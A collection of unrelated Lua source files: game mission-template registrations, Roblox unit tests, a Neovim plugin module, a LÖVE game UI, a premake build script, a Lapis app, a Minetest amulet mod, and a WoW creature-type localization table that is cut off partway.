createMissionGiverConvoTemplate("nitra_vendallan_mission_giver_convotemplate", "nitra_vendallan_mission_giver_conv_handler")
createMissionGiverConvoTemplate("om_aynat_mission_giver_convotemplate", "om_aynat_mission_giver_conv_handler")
createMissionGiverConvoTemplate("pfilbee_jhorn_mission_giver_convotemplate", "pfilbee_jhorn_mission_giver_conv_handler")
createMissionGiverConvoTemplate("phinea_shantee_mission_giver_convotemplate", "phinea_shantee_mission_giver_conv_handler")
createMissionGiverConvoTemplate("prefect_talmont_mission_giver_convotemplate", "prefect_talmont_mission_giver_conv_handler")
createMissionGiverConvoTemplate("rakir_banai_mission_giver_convotemplate", "rakir_banai_mission_giver_conv_handler")
createMissionGiverConvoTemplate("stella_mission_giver_convotemplate", "stella_mission_giver_conv_handler")
createMissionGiverConvoTemplate("tekil_barje_mission_giver_convotemplate", "tekil_barje_mission_giver_conv_handler")
createMissionGiverConvoTemplate("tolan_nokkar_mission_giver_convotemplate", "tolan_nokkar_mission_giver_conv_handler")
createMissionGiverConvoTemplate("vardias_tyne_mission_giver_convotemplate", "vardias_tyne_mission_giver_conv_handler")
--Yavin4
createMissionGiverConvoTemplate("captain_eso_mission_giver_convotemplate","captain_eso_mission_giver_conv_handler")
createMissionGiverConvoTemplate("cx_425_trooper_mission_giver_convotemplate","cx_425_trooper_mission_giver_conv_handler")
createMissionGiverConvoTemplate("gins_darone_mission_giver_convotemplate","gins_darone_mission_giver_conv_handler")
createMissionGiverConvoTemplate("jazeen_thurmm_mission_giver_convotemplate","jazeen_thurmm_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lian_byrne_mission_giver_convotemplate","lian_byrne_mission_giver_conv_handler")
createMissionGiverConvoTemplate("megan_drlar_mission_giver_convotemplate","megan_drlar_mission_giver_conv_handler")
createMissionGiverConvoTemplate("ruwan_tokai_mission_giver_convotemplate","ruwan_tokai_mission_giver_conv_handler")
createMissionGiverConvoTemplate("vraker_orde_mission_giver_convotemplate","vraker_orde_mission_giver_conv_handler")
createMissionGiverConvoTemplate("yith_seenath_mission_giver_convotemplate","yith_seenath_mission_giver_conv_handler")
|
--[[
TheNexusAvenger
Tests the OverridableIndexInstance class.
--]]
local NexusUnitTesting = require("NexusUnitTesting")
local NexusPluginFramework = require(game:GetService("ReplicatedStorage"):WaitForChild("NexusPluginFramework"))
local OverridableIndexInstance = NexusPluginFramework:GetResource("Base.OverridableIndexInstance")
--[[
Test that the constructor works without failing.
--]]
NexusUnitTesting:RegisterUnitTest("Constructor",function(UnitTest)
local CuT = OverridableIndexInstance.new()
UnitTest:AssertEquals(CuT.ClassName,"OverridableIndexInstance","Class name is incorrect.")
end)
--[[
Test overriding the __getindex method.
--]]
NexusUnitTesting:RegisterUnitTest("__getindex",function(UnitTest)
local Table1,Table2,Table3 = {},{},{}
--Create the test class.
local TestClass = OverridableIndexInstance:Extend()
TestClass.Table5 = true
TestClass.Table6 = true
function TestClass:__getindex(Index,BaseIndex)
if Index == "Table1" then
return Table1
elseif Index == "Table2" then
return Table2
elseif Index == "Table3" then
return Table3
elseif Index == "Table4" then
return nil,true
elseif Index == "Table5" then
return nil
elseif Index == "Table6" then
return tostring(BaseIndex)
end
end
--Assert the indexes are correct.
local CuT = TestClass.new()
UnitTest:AssertEquals(CuT.ClassName,"OverridableIndexInstance","Class name is incorrect.")
UnitTest:AssertEquals(CuT.Table1,Table1,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Table2,Table2,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Table3,Table3,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Table4,nil,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Table5,true,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Table6,"true","Override is incorrect.")
end)
--[[
Tests the __setindex method.
--]]
NexusUnitTesting:RegisterUnitTest("__setindex",function(UnitTest)
--Create the test class.
local TestClass = OverridableIndexInstance:Extend()
TestClass.ClassName = "Test"
function TestClass:__setindex(IndexName,NewValue)
return "String_"..tostring(IndexName).."_"..tostring(NewValue)
end
--Assert setting indexs are correct.
local CuT = TestClass.new()
CuT.Index1 = 1
CuT.Index2 = 2
CuT.Index3 = 3
UnitTest:AssertEquals(CuT.Index1,"String_Index1_1","Override is incorrect.")
UnitTest:AssertEquals(CuT.Index2,"String_Index2_2","Override is incorrect.")
UnitTest:AssertEquals(CuT.Index3,"String_Index3_3","Override is incorrect.")
CuT.Index1 = 4
CuT.Index2 = 5
CuT.Index3 = 6
UnitTest:AssertEquals(CuT.Index1,"String_Index1_4","Override is incorrect.")
UnitTest:AssertEquals(CuT.Index2,"String_Index2_5","Override is incorrect.")
UnitTest:AssertEquals(CuT.Index3,"String_Index3_6","Override is incorrect.")
end)
--[[
Tests the __rawget method.
--]]
NexusUnitTesting:RegisterUnitTest("__rawget",function(UnitTest)
--Create the test class.
local TestClass = OverridableIndexInstance:Extend()
TestClass.Index1 = 1
TestClass.Index2 = 2
function TestClass:__getindex(Index,BaseIndex)
if Index == "Index1" then
return 4
elseif Index == "Index2" then
return nil,true
elseif Index == "Index3" then
return 6
end
end
--Assert the indexes are correct.
local CuT = TestClass.new()
UnitTest:AssertEquals(CuT.Index1,4,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Index2,nil,"Override is incorrect.")
UnitTest:AssertEquals(CuT.Index3,6,"Override is incorrect.")
UnitTest:AssertEquals(CuT:__rawget("Index1"),1,"Raw get is incorrect.")
UnitTest:AssertEquals(CuT:__rawget("Index2"),2,"Raw get is incorrect.")
UnitTest:AssertEquals(CuT:__rawget("Index3"),nil,"Raw get is incorrect.")
end)
--[[
Tests extending the OverridableIndexInstance.
--]]
NexusUnitTesting:RegisterUnitTest("Extending",function(UnitTest)
--Extend the class.
local TestClass = OverridableIndexInstance:Extend()
TestClass.TestProperty1 = "Test 1"
function TestClass:__getindex(Index,BaseIndex)
if Index == "TestProperty1" then
UnitTest:AssertEquals(BaseIndex,"Test 1","Class test property is incorrect.")
end
end
--Create the component under testing.
local CuT = TestClass.new()
CuT.TestProperty2 = "Test 2"
UnitTest:AssertEquals(CuT.TestProperty1,"Test 1","Class property is incorrect.")
UnitTest:AssertEquals(CuT.TestProperty2,"Test 2","Object property is incorrect.")
end)
--[[
Tests referencing self in __getindex.
--]]
NexusUnitTesting:RegisterUnitTest("ReferenceWithinGetindex",function(UnitTest)
--Extend the class.
local TextClass = OverridableIndexInstance:Extend()
function TextClass:__getindex(IndexName,OriginalReturn)
if IndexName == "TestProperty1" then
return "Test 1"
elseif IndexName == "TestProperty2" then
return "Test 2"
end
end
--Create the component under testing.
local CuT = TextClass.new()
UnitTest:AssertEquals(CuT.TestProperty1,"Test 1","Test property is incorrect.")
UnitTest:AssertEquals(CuT.TestProperty2,"Test 2","Test property is incorrect.")
end)
--[[
Tests extending with super class initializing.
--]]
NexusUnitTesting:RegisterUnitTest("SuperClassInitialization",function(UnitTest)
--Extend the class.
local TestClass1 = OverridableIndexInstance:Extend()
local TestClass2 = TestClass1:Extend()
function TestClass1:__getindex(Index,BaseIndex)
if Index == "TestProperty1" then
return "Test 1"
elseif Index == "TestProperty2" then
return "Test 2"
end
end
function TestClass1:__new()
self:InitializeSuper()
UnitTest:AssertEquals(self.TestProperty1,"Test 1","Super class property is incorrect.")
UnitTest:AssertEquals(self.TestProperty2,"Test 2","Super class property is incorrect.")
end
function TestClass2:__new()
self:InitializeSuper()
UnitTest:AssertEquals(self.TestProperty1,"Test 1","Class property is incorrect.")
UnitTest:AssertEquals(self.TestProperty2,"Test 2","Class property is incorrect.")
end
--Create the component under testing.
local CuT = TestClass2.new()
UnitTest:AssertEquals(CuT.TestProperty1,"Test 1","Object property is incorrect.")
UnitTest:AssertEquals(CuT.TestProperty2,"Test 2","Object property is incorrect.")
end)
return true
|
local vim = vim
local api = vim.api
local M = {}
local globals = require 'vimwiki_server/globals'
local u = require 'vimwiki_server/lib/utils'
-- Should be called after a buffer is displayed in a window
--
-- Will trigger the creation of a buffer's temporary file if it does not exist
function M.on_enter_buffer_window()
local tmp = globals.tmp
-- Force immediate writing of file
tmp:write_buffer(u.get_autocmd_bufnr(), true)
end
-- Should be called before a buffer's text is freed
--
-- Will trigger removing the buffer from tmp tracker and deleting the buffer's
-- temporary file
function M.on_buffer_unload()
local tmp = globals.tmp
-- Remove buffer debouncer and temporary file
tmp:remove_buffer(u.get_autocmd_bufnr())
end
-- Should be called when a buffer's text is changed
--
-- Will trigger a delayed refresh of the buffer's temporary file
function M.on_text_changed()
local tmp = globals.tmp
-- Trigger potential writing of file unless more text changes quickly
tmp:write_buffer(u.get_autocmd_bufnr())
end
-- Should be called when leaving insert mode
--
-- Will refresh the buffer's temporary file immediately
function M.on_insert_leave()
local tmp = globals.tmp
-- Force immediate writing of file
tmp:write_buffer(u.get_autocmd_bufnr(), true)
end
return M
|
--------------
-- UI Class --
--------------
local File = require 'src/File'
local Window = require 'src/ui/Window'
local Button = require 'src/ui/Button'
local Mouse = require 'src/Mouse'
local UI = {
backgrounds = {
shop = love.graphics.newImage('graphics/ui/ShopUI.png')
},
font = {
sprites = love.graphics.newFont('graphics/font/circulating-font.ttf'),
width = 4, height = 6
}
}
function UI.load()
Window.load()
-- Set font
local font = UI.font.sprites
font:setFilter("nearest", "nearest")
love.graphics.setFont(font)
love.mouse.setVisible(false)
Mouse.sprites.menus:setFilter('nearest', 'nearest')
Mouse.sprites.player:setFilter('nearest', 'nearest')
UI.backgrounds.shop:setFilter('nearest', 'nearest')
UI.buttons = {
menu = {
Button:new(function() startGame() end, 'Play_Icon', 80 - 7, 45 - 7, 5),
Button:new(function()
gameState = 'shop - cold'
UI.loadShopButtons()
end, 'Shop_Icon', 1, 1, 3)
},
play = {
Button:new(function() end, 'MaxCoin_Icon', 1, 1, 5),
Button:new(function() end, 'Coin_Icon', 1, 8, 5),
Button:new(function() togglePause() end, 'Pause_Icon', 160 - 9, 1, 3)
},
pause = {
Button:new(function() end, 'MaxCoin_Icon', 1, 1, 5),
Button:new(function() end, 'Coin_Icon', 1, 8, 5),
Button:new(function() togglePause() end, 'Play_Icon', 80 - 7, 45 - 7, 5),
Button:new(function() togglePause() end, 'Exit_Icon', 160 - 9, 1, 6)
},
gameOver = {
Button:new(function() startGame() end, 'Play_Icon', 80 - 7, 45, 5),
Button:new(function()
gameState = 'shop - cold'
UI.loadShopButtons()
end, 'Shop_Icon', 80 - 20, 47, 4),
Button:new(function() gameState = 'menu' end, 'Menu_Icon', 80 + 9, 47, 4)
},
shop = {},
settings = { }
}
if playingOnMobile then
Shop.coinsPickedOnHover = true
else
table.insert(UI.buttons.menu, Button:new(function()
File.save()
love.event.quit()
end, 'Exit_Icon', 160 - 13, 3, 6))
end
end
function UI.getList()
local list
if gameState == 'menu' then
list = UI.buttons.menu
elseif gameState == 'play' then
list = UI.buttons.play
elseif gameState == 'pause' then
list = UI.buttons.pause
elseif gameState == 'game over' then
list = UI.buttons.gameOver
elseif gameState == 'settings' then
list = UI.buttons.settings
elseif gameState == 'shop - cold' or gameState == 'shop - hot' then
list = UI.buttons.shop
end
return list
end
function UI.print(text, x, y, scale)
x = x * 12 * Window.screenWidthScale
y = y * 12 * Window.screenHeightScale
local widthScale = scale * Window.screenWidthScale
local heightScale = scale * Window.screenHeightScale
love.graphics.print(text, x, y, 0, widthScale, heightScale)
end
function UI.drawTexts()
if gameState == 'menu' then
UI.print("Highest Score: " .. Shop.highestScore, 80 - (UI.font.width * 15)/2, 1, 4)
elseif gameState == 'play' or gameState == 'pause' then
if math.ceil(countdown) > 0 then
UI.print( math.ceil(countdown) , 80 - UI.font.width/2, 45 - UI.font.height, 5)
end
UI.print(Shop.totalMoney, 10, 1, 3)
UI.print(Shop.money, 10, 8, 3)
elseif gameState == 'game over' then
UI.print("Game Over", 80 - (UI.font.width * 11)/2, 45 - 5 * UI.font.height, 5)
UI.print("Highest Score: " .. Shop.highestScore, 80 - (UI.font.width * 15)/2, 45 - 3 * UI.font.height, 4)
elseif gameState == 'shop - cold' or gameState == 'shop - hot' then
if gameState == 'shop - cold' then
UI.print("Cold Shop", 1, 1, 5)
elseif gameState == 'shop - hot' then
UI.print("Hot Shop", 1, 1, 5)
end
UI.print(Shop.totalMoney, 94, 1, 5)
for itemNumber, item in ipairs(Shop.getItems()) do
-- Item texts
local y = 8 + (14 * itemNumber)
UI.print(item.text, 22, y, 2)
-- Item prices
local price, x
if item.level == item.maxLevel then
price = "-"
x = 110
else
price = item.price
if price < 100 then
x = 108 + math.floor((itemNumber+1)/2)
else
x = 104 + math.floor((itemNumber+1)/2)
end
end
UI.print(price, x, y, 5)
end
end
end
function UI.drawButtons()
for tempo, button in ipairs( UI.getList() ) do
love.graphics.draw(button.sprite, button.x, button.y, 0, button.scale, button.scale)
end
end
function UI.loadShopButtons()
-- First shop load
Shop.addItem('coinsSpawnTime', 1)
Shop.addItem('circleInitialPosition', 1)
Shop.addItem('mouseSize', 1)
Shop.addItem('circleSize', 1)
Shop.addItem('circleSpeed', 1)
-- Fixed buttons
UI.buttons.shop = {
Button:new(function() gameState = 'menu' end, 'Exit_Icon', 160 - 13, 3, 6),
Button:new(function()
gameState = 'shop - cold'
UI.loadShopButtons()
end, 'Shop_Cold_Icon', 0, 21, 12),
Button:new(function()
gameState = 'shop - hot'
UI.loadShopButtons()
end, 'Shop_Hot_Icon', 0, 56, 12)
}
-- Shop dependent buttons
for itemNumber, item in ipairs(Shop.getItems()) do
local x = 128 + math.floor((itemNumber+1)/2)
local y = 9 + (14 * itemNumber)
table.insert(UI.buttons.shop, Button:new(item:upgrade(), 'Plus_Icon', x, y, 12))
end
end
function UI.drawBackgrounds()
-- Set color according to the temperature
local red, green, blue = 255, 255, 255
if Shop.temperature < 0 then
red = red - (-Shop.temperature) * 25
green = green - (-Shop.temperature) * 10
elseif Shop.temperature > 0 then
green = green - Shop.temperature * 20
blue = green - 20
end
love.graphics.setColor(red/255, green/255, blue/255)
love.graphics.setBackgroundColor(0/255, 11/255, 13/255)
if gameState == 'shop - cold' or gameState == 'shop - hot' then
love.graphics.draw(UI.backgrounds.shop, 0, 0, 0, Window.width/160, Window.height/90)
end
end
return UI
|
workspace "TypedEngine"
architecture "x86_64"
startproject "TypedEditor"
toolset "gcc"
gccprefix "ccache "
configurations {
"Debug",
"Release"
}
flags {
"MultiProcessorCompile"
}
filter "system:windows"
systemversion "latest"
-- Debug / Release Operating system x64
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
IncludeDir = {}
IncludeDir["freetype"] = "TypedEngine/external/freetype/include"
IncludeDir["glad"] = "TypedEngine/external/glad/include"
IncludeDir["glfw"] = "TypedEngine/external/glfw/include"
IncludeDir["glm"] = "TypedEngine/external/glm"
IncludeDir["lua"] = "TypedEngine/external/lua"
IncludeDir["stb_image"] = "TypedEngine/external/stb_image"
group "Dependencies"
include "TypedEngine/external/glfw"
include "TypedEngine/external/glad"
include "TypedEngine/external/freetype"
include "TypedEngine/external/lua"
group ""
project "TypedEngine"
location "TypedEngine"
kind "StaticLib"
language "C++"
cppdialect "C++17"
staticruntime "on"
targetdir("bin/" .. outputdir .. "/%{prj.name}")
objdir("int/" .. outputdir .. "/%{prj.name}")
files {
"%{prj.location}/src/**.h",
"%{prj.location}/src/**.cpp",
"%{prj.location}/external/stb_image/**.h",
"%{prj.location}/external/stb_image/**.cpp",
"%{prj.location}/external/glm/glm/**.hpp",
"%{prj.location}/external/glm/glm/**.inl",
"%{prj.location}/src/**.c",
"%{prj.location}/src/**.cxx"
}
includedirs {
"%{prj.location}/src",
"%{IncludeDir.glfw}",
"%{IncludeDir.glad}",
"%{IncludeDir.freetype}",
"%{IncludeDir.lua}",
"%{IncludeDir.glm}",
"%{IncludeDir.stb_image}"
}
links {
"TELua",
"glad",
"freetype",
"lua",
"glfw"
}
filter "toolset:gcc"
links {
"opengl32",
"gdi32"
}
filter "toolset:msc*"
links {
"opengl32.lib",
"gdi32.lib"
}
filter "configurations:Debug"
runtime "Debug"
symbols "on"
defines {
"TE_DEBUG"
}
filter "configurations:Release"
runtime "Release"
optimize "on"
--------------------------------------------------------------- LUA UTILITY --------------------------------------------------------------
project "TELua"
location "TypedEngine/src/Scripting"
kind "Utility"
prebuildcommands {
"swig -c++ -lua core/TEcore.i"
}
filter "configurations:Debug"
runtime "Debug"
symbols "on"
filter "configurations:Release"
runtime "Release"
optimize "on"
--------------------------------------------------------------DLL EXPORT PROJECTS----------------------------------------------------------------------
project "TEcore" -- TypedEngine Core Library for Lua
location "TypedEngine/src/Scripting"
kind "SharedLib"
language "C++"
cppdialect "C++17"
staticruntime "off"
targetdir("%{prj.location}/bin/" .. outputdir .. "/%{prj.name}")
objdir("%{prj.location}/int/" .. outputdir .. "/%{prj.name}")
files {
"%{prj.location}/**.h",
"%{prj.location}/**.c",
"%{prj.location}/**.cxx",
}
includedirs {
"TypedEngine/src",
"%{IncludeDir.lua}",
"%{IncludeDir.glm}"
}
links {
"TypedEngine",
"TELua",
"glad",
"freetype",
"lua",
"glfw"
}
filter "toolset:gcc"
links {
"opengl32",
"gdi32"
}
filter "toolset:msc"
links {
"opengl32.lib",
"gdi32.lib"
}
filter "configurations:Debug"
runtime "Debug"
symbols "on"
filter "configurations:Release"
runtime "Release"
optimize "on"
-------------------------------------------------------------TYPEDEDITOR----------------------------------------------------------------------------
project "TypedEditor"
location "TypedEditor"
kind "ConsoleApp"
language "C++"
cppdialect "C++17"
staticruntime "on"
postbuildcommands {
'@echo off && {COPY} "../TypedEditor/res" "%{cfg.targetdir}/res"',
'@echo off && {COPY} "../TypedEditor/scripts" "%{cfg.targetdir}/scripts"',
'@echo off && {COPY} "../TypedEditor/levels" "%{cfg.targetdir}/levels"',
'@echo off && {COPY} "../TypedEngine/src/Scripting/bin/%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" "%{cfg.targetdir}/lib"',
'@echo off && echo. && echo ">>>>>>>>>>>>>>> SUCCESS! <<<<<<<<<<<<<<<" && echo.'
}
targetdir("bin/" .. outputdir .. "/%{prj.name}")
objdir("int/" .. outputdir .. "/%{prj.name}")
files {
"%{prj.location}/src/**.h",
"%{prj.location}/src/**.cpp"
}
includedirs {
"TypedEngine/src",
"%{IncludeDir.glm}"
}
links {
"TypedEngine",
"TELua",
"glad",
"freetype",
"lua",
"glfw"
}
filter "toolset:gcc"
links {
"opengl32",
"gdi32"
}
filter "toolset:msc"
links {
"opengl32.lib",
"gdi32.lib"
}
filter "configurations:Debug"
runtime "Debug"
symbols "on"
filter "configurations:Release"
runtime "Release"
optimize "on"
|
function test()
local arr = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }
for i=1,1e7 do
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
arr[8] = 234
end
end
test()
|
local lapis = require("lapis")
local console = require("lapis.console")
do
local _class_0
local _parent_0 = lapis.Application
local _base_0 = {
["/lapis"] = function(self)
return "Welcome to Lapis " .. tostring(require("lapis.version")) .. "!"
end,
["/lapis/console"] = console.make()
}
_base_0.__index = _base_0
setmetatable(_base_0, _parent_0.__base)
_class_0 = setmetatable({
__init = function(self, ...)
return _class_0.__parent.__init(self, ...)
end,
__base = _base_0,
__name = nil,
__parent = _parent_0
}, {
__index = function(cls, name)
local val = rawget(_base_0, name)
if val == nil then
local parent = rawget(cls, "__parent")
if parent then
return parent[name]
end
else
return val
end
end,
__call = function(cls, ...)
local _self_0 = setmetatable({}, _base_0)
cls.__init(_self_0, ...)
return _self_0
end
})
_base_0.__class = _class_0
if _parent_0.__inherited then
_parent_0.__inherited(_parent_0, _class_0)
end
return _class_0
end
|
-- Transforming Amulet definitions
local modpath = minetest.get_modpath("transform")
dofile(modpath .. "/amulet_actions.lua")
minetest.register_craftitem(
"transform:amulet",
{
description = "Transformation Amulet",
inventory_image = "amulet_front.png",
light_source = minetest.LIGHT_MAX,
on_use = function(itemstack, user, pointed_thing)
-- See if the pointed_thing is an animal / entity
if pointed_thing and pointed_thing.ref then
-- Put the clicked animal in the inventory
local animal = pointed_thing.ref:get_luaentity().name
minetest.log("Putting " .. animal .. " into inventory of " .. itemstack:get_name())
amulet.add_animal(user:get_wielded_item(), pointed_thing.ref)
end
end,
on_secondary_use = function(itemstack, user, pointed_thing)
minetest.log("Opening amulet inventory for " .. itemstack:get_name())
local animals = amulet.get_animals_for_amulet(user:get_wielded_item())
local x = 0
local y = 0
local formspec_items = ""
for i, v in pairs(animals) do
if v then
local name = i
minetest.log("Creating a button for " .. name)
local button = "item_image_button[" .. x .. "," .. y .. ";1.0,1.0;" .. name .. ";animal;]"
minetest.log(button)
formspec_items = formspec_items .. button
x = x + 1
if x == 8 then
x = 0
y = y + 1
end
end
end
local formspec =
"formspec_version[4]" ..
"size[8,3]" ..
"label[0.5,0.5;Animals]" ..
"scrollbaroptions[min=0;max=" .. y .. ";smallstep=1;largestep=2;thumbsize=105;arrows=default]" ..
"scrollbar[7.8,0.8;0.2,2.5;vertical;program_scroll;0-" .. y .. "]" ..
"scroll_container[0,1.0;9.5,3.0;program_scroll;vertical;0.1]" ..
formspec_items ..
"scroll_container_end[]"
minetest.show_formspec(
user:get_player_name(),
"transform:amulet_inventory",
formspec
)
minetest.register_on_player_receive_fields(
function(player, formname, fields)
minetest.log("Processing fields received")
-- Get user selection
if formname ~= "transform:amulet_inventory" or not fields.animal then
-- If it's not input from our inventory, do nothing
return
end
if fields.quit then
-- closed the inventory
return
end
amulet.transform(player, fields.animal)
end
)
end,
}
)
minetest.register_craft(
{
output = "transform:amulet",
recipe = {
{"", "default:gold_ingot", ""},
{"default:mese_crystal", "default:diamond", "default:mese_crystal"},
{"", "transform:animal_gem", ""}
}
}
)
minetest.register_on_craft(function(itemstack, player, old_craft_grid, craft_inv)
amulet.setup_inventory(player)
end)
|
--[[
Name: LibBabble-CreatureType-3.0
Revision: $Rev: 162 $
Maintainers: ckknight, nevcairiel, Ackis
Website: http://www.wowace.com/projects/libbabble-creaturetype-3-0/
Dependencies: None
License: MIT
]]
local MAJOR_VERSION = "LibBabble-CreatureType-3.0"
local MINOR_VERSION = 90000 + tonumber(("$Rev: 162 $"):match("%d+"))
if not LibStub then error(MAJOR_VERSION .. " requires LibStub.") end
local lib = LibStub("LibBabble-3.0"):New(MAJOR_VERSION, MINOR_VERSION)
if not lib then return end
local GAME_LOCALE = GetLocale()
lib:SetBaseTranslations {
["Aberration"] = "Aberration",
["Abyssal"] = "Abyssal",
["Basilisk"] = "Basilisk",
["Bat"] = "Bat",
["Bear"] = "Bear",
["Beast"] = "Beast",
["Beetle"] = "Beetle",
["Bird of Prey"] = "Bird of Prey",
["Boar"] = "Boar",
["Carrion Bird"] = "Carrion Bird",
["Cat"] = "Cat",
["Chimaera"] = "Chimaera",
["Clefthoof"] = "Clefthoof",
["Core Hound"] = "Core Hound",
["Crab"] = "Crab",
["Crane"] = "Crane",
["Critter"] = "Critter",
["Crocolisk"] = "Crocolisk",
["Demon"] = "Demon",
["Devilsaur"] = "Devilsaur",
["Direhorn"] = "Direhorn",
["Dog"] = "Dog",
["Doomguard"] = "Doomguard",
["Dragonhawk"] = "Dragonhawk",
["Dragonkin"] = "Dragonkin",
["Elemental"] = "Elemental",
["Fel Imp"] = "Fel Imp",
["Felguard"] = "Felguard",
["Felhunter"] = "Felhunter",
["Fox"] = "Fox",
["Gas Cloud"] = "Gas Cloud",
["Ghoul"] = "Ghoul",
["Giant"] = "Giant",
["Goat"] = "Goat",
["Gorilla"] = "Gorilla",
["Humanoid"] = "Humanoid",
["Hydra"] = "Hydra",
["Hyena"] = "Hyena",
["Imp"] = "Imp",
["Mechanical"] = "Mechanical",
["Monkey"] = "Monkey",
["Moth"] = "Moth",
["Nether Ray"] = "Nether Ray",
["Non-combat Pet"] = "Non-combat Pet",
["Not specified"] = "Not specified",
["Observer"] = "Observer",
["Porcupine"] = "Porcupine",
["Quilen"] = "Quilen",
["Raptor"] = "Raptor",
["Ravager"] = "Ravager",
["Remote Control"] = "Remote Control",
["Rhino"] = "Rhino",
["Riverbeast"] = "Riverbeast",
["Rylak"] = "Rylak",
["Scorpid"] = "Scorpid",
["Serpent"] = "Serpent",
["Shale Spider"] = "Shale Spider",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silithid",
["Spider"] = "Spider",
["Spirit Beast"] = "Spirit Beast",
["Sporebat"] = "Sporebat",
["Stag"] = "Stag",
["Succubus"] = "Succubus",
["Tallstrider"] = "Tallstrider",
["Terrorguard"] = "Terrorguard",
["Totem"] = "Totem",
["Turtle"] = "Turtle",
["Undead"] = "Undead",
["Voidlord"] = "Voidlord",
["Voidwalker"] = "Voidwalker",
["Warp Stalker"] = "Warp Stalker",
["Wasp"] = "Wasp",
["Water Elemental"] = "Water Elemental",
["Water Strider"] = "Water Strider",
["Wild Pet"] = "Wild Pet",
["Wind Serpent"] = "Wind Serpent",
["Wolf"] = "Wolf",
["Worm"] = "Worm",
["Wrathguard"] = "Wrathguard"
}
if GAME_LOCALE == "enUS" then
lib:SetCurrentTranslations(true)
elseif GAME_LOCALE == "deDE" then
lib:SetCurrentTranslations {
["Aberration"] = "Entartung",
["Abyssal"] = "Abyssal",
["Basilisk"] = "Basilisk",
["Bat"] = "Fledermaus",
["Bear"] = "Bär",
["Beast"] = "Wildtier",
["Beetle"] = "Käfer",
["Bird of Prey"] = "Raubvogel",
["Boar"] = "Eber",
["Carrion Bird"] = "Aasvogel",
["Cat"] = "Katze",
["Chimaera"] = "Schimäre",
["Clefthoof"] = "Grollhuf",
["Core Hound"] = "Kernhund",
["Crab"] = "Krebs",
["Crane"] = "Kranich",
["Critter"] = "Kleintier",
["Crocolisk"] = "Krokilisk",
["Demon"] = "Dämon",
["Devilsaur"] = "Teufelssaurier",
["Direhorn"] = "Terrorhorn",
["Dog"] = "Hund",
["Doomguard"] = "Verdammniswache",
["Dragonhawk"] = "Drachenfalke",
["Dragonkin"] = "Drachkin",
["Elemental"] = "Elementar",
["Fel Imp"] = "Teufelswichtel",
["Felguard"] = "Teufelswache",
["Felhunter"] = "Teufelsjäger",
["Fox"] = "Fuchs",
["Gas Cloud"] = "Gaswolke",
["Ghoul"] = "Ghul",
["Giant"] = "Riese",
["Goat"] = "Ziege",
["Gorilla"] = "Gorilla",
["Humanoid"] = "Humanoid",
["Hydra"] = "Hydra",
["Hyena"] = "Hyäne",
["Imp"] = "Wichtel",
["Mechanical"] = "Mechanisch",
["Monkey"] = "Affe",
["Moth"] = "Motte",
["Nether Ray"] = "Netherrochen",
["Non-combat Pet"] = "Haustier",
["Not specified"] = "Nicht spezifiziert",
["Observer"] = "Beobachter",
["Porcupine"] = "Stachelschwein",
["Quilen"] = "Qilen",
["Raptor"] = "Raptor",
["Ravager"] = "Felshetzer",
["Remote Control"] = "Ferngesteuert",
["Rhino"] = "Rhinozeros",
["Riverbeast"] = "Flussbestie",
["Rylak"] = "Rylak",
["Scorpid"] = "Skorpid",
["Serpent"] = "Schlange",
["Shale Spider"] = "Schieferspinne",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silithid",
["Spider"] = "Spinne",
["Spirit Beast"] = "Geisterbestie",
["Sporebat"] = "Sporensegler",
["Stag"] = "Hirsch",
["Succubus"] = "Sukkubus",
["Tallstrider"] = "Weitschreiter",
["Terrorguard"] = "Terrorwache",
["Totem"] = "Totem",
["Turtle"] = "Schildkröte",
["Undead"] = "Untoter",
["Voidlord"] = "Leerenfürst",
["Voidwalker"] = "Leerwandler",
["Warp Stalker"] = "Sphärenjäger",
["Wasp"] = "Wespe",
["Water Elemental"] = "Wasserelementar",
["Water Strider"] = "Wasserschreiter",
["Wild Pet"] = "Ungezähmtes Tier",
["Wind Serpent"] = "Windnatter",
["Wolf"] = "Wolf",
["Worm"] = "Wurm",
["Wrathguard"] = "Zornwächter"
}
elseif GAME_LOCALE == "frFR" then
lib:SetCurrentTranslations {
["Aberration"] = "Aberration",
["Abyssal"] = "Abyssal",
["Basilisk"] = "Basilic",
["Bat"] = "Chauve-souris",
["Bear"] = "Ours",
["Beast"] = "Bête",
["Beetle"] = "Hanneton",
["Bird of Prey"] = "Oiseau de proie",
["Boar"] = "Sanglier",
["Carrion Bird"] = "Charognard",
["Cat"] = "Félin",
["Chimaera"] = "Chimère",
["Clefthoof"] = "Sabot-fourchu",
["Core Hound"] = "Chien du Magma",
["Crab"] = "Crabe",
["Crane"] = "Grue",
["Critter"] = "Bestiole",
["Crocolisk"] = "Crocilisque",
["Demon"] = "Démon",
["Devilsaur"] = "Diablosaure",
["Direhorn"] = "Navrecorne",
["Dog"] = "Chien",
["Doomguard"] = "Garde funeste",
["Dragonhawk"] = "Faucon-dragon",
["Dragonkin"] = "Draconien",
["Elemental"] = "Elémentaire",
["Fel Imp"] = "Diablotin gangrené",
["Felguard"] = "Gangregarde",
["Felhunter"] = "Chasseur corrompu",
["Fox"] = "Renard",
["Gas Cloud"] = "Nuage de gaz",
["Ghoul"] = "Goule",
["Giant"] = "Géant",
["Goat"] = "Chèvre",
["Gorilla"] = "Gorille",
["Humanoid"] = "Humanoïde",
["Hydra"] = "Hydre",
["Hyena"] = "Hyène",
["Imp"] = "Diablotin",
["Mechanical"] = "Machine",
["Monkey"] = "Singe",
["Moth"] = "Phalène",
["Nether Ray"] = "Raie du Néant",
["Non-combat Pet"] = "Familier pacifique",
["Not specified"] = "Non spécifié",
["Observer"] = "Observateur",
["Porcupine"] = "Porc-épic",
["Quilen"] = "Quilen",
["Raptor"] = "Raptor",
["Ravager"] = "Ravageur",
["Remote Control"] = "Télécommande",
["Rhino"] = "Rhinocéros",
["Riverbeast"] = "Potamodonte",
